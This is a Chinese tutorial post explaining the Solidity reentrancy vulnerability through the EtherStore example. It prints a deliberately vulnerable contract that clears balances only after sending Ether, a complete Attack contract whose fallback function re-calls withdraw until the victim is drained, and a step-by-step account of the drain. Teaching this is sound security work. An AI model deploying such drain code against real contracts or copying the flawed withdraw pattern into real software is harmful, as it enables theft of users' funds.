重入漏洞EtherStore

重入漏洞

solidity 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

这个被攻击的EtherStore合约,可以用来depositwithdraw以太币。withdraw函数的基本逻辑是:

  • 判断sender的余额是否大于0,是的话下一步;
  • 使用call方法给sender发送合约里属于sender所有的余额,成功发送的话下一步;
  • 将合约中属于sender的余额值清零。

在攻击合约Attack合约中,先看attack函数,基本逻辑就是先调用deposit存入1个以太,再调用withdraw取出。然而关键的代码在fallback函数中,这个fallback函数会先检测被攻击合约EtherStore的余额,如果大于1个以太,就执行withdraw

知道这些概念后,就可以演示攻击过程了:

  • 1.假设EtherStore合约中有10个ETH的余额;
  • 2.攻击者点击attack函数,先执行deposit于是攻击者就存入了1个ETH,接下来执行withdraw,withdraw函数前两行成功通过,开始使用call函数发送属于sender(这里是Attack合约)的余额;
  • 3.Attack合约收到余额后,根据我们上图所示,先看msg.data是否为空?是;receive是否存在?否;于是进入fallback函数;
  • 4.fallback函数中,先检测EtherStore的余额,这里应当是10 - 1 = 9 Ether,通过,于是又执行withdraw;
  • 5.withdraw函数先检测前两行,(注意,这是攻击过程的关键点!)属于sender的余额为不为0呢?答案是不为0,仍然能通过,因为上次执行withdraw函数,其实还停留在call发送Ether的那一步,下一步还没有执行,EtherStore中的balance值还没有更新,因此这里还是能通过,继续执行到下一个call发送余额,这样又把合约余额发送过去了;
  • 6.Attack合约的fallback函数又开始重复withdraw,一直等到EtherStore合约中的余额为0,Attack合约的fallback函数不能通过余额检测的时候,整个提取过程才会停止。
  • 7.执行完成,被攻击合约的所有10个ETH都被发送到了被攻击合约Attack上了。

这里的例子,Attack合约其实用receive函数也是可以的,而且合约里是可以有单独的receive函数,但是单独的fallback函数就会报warning。

相关推荐
MicroTech20251 小时前
微算法科技(NASDAQ: MLGO)研究分片技术:重塑区块链可扩展性新范式
算法·区块链
电报号dapp1191 小时前
链游开发新篇章:融合区块链技术的游戏创新与探索
游戏·区块链
MicroTech20255 小时前
微算法科技(NASDAQ: MLGO)引入高级区块链DSR算法:重塑区块链网络安全新范式
网络安全·区块链
胡乱编胡乱赢5 小时前
区块链联邦学习思路一
区块链·联邦学习·思路·区块链联邦学习
元宇宙时间11 小时前
RWA加密金融高峰论坛&星链品牌全球发布 —— 稳定币与Web3的香港新篇章
人工智能·web3·区块链
paceboy1 天前
如何制作免费的比特币冷钱包
区块链
小明的小名叫小明2 天前
区块链技术原理(15)-以太坊虚拟机 (EVM)
区块链
MicroTech20252 天前
微算法科技(NASDAQ: MLGO)研究利用PBFT中的动态视图变换机制,实现区块链系统高效运转
区块链
余_弦2 天前
区块链钱包开发(二十一)—— 一次交易的全流程分析
区块链·以太坊
gaog2zh3 天前
0301-solidity进阶-区块链-web3
web3·区块链·solidity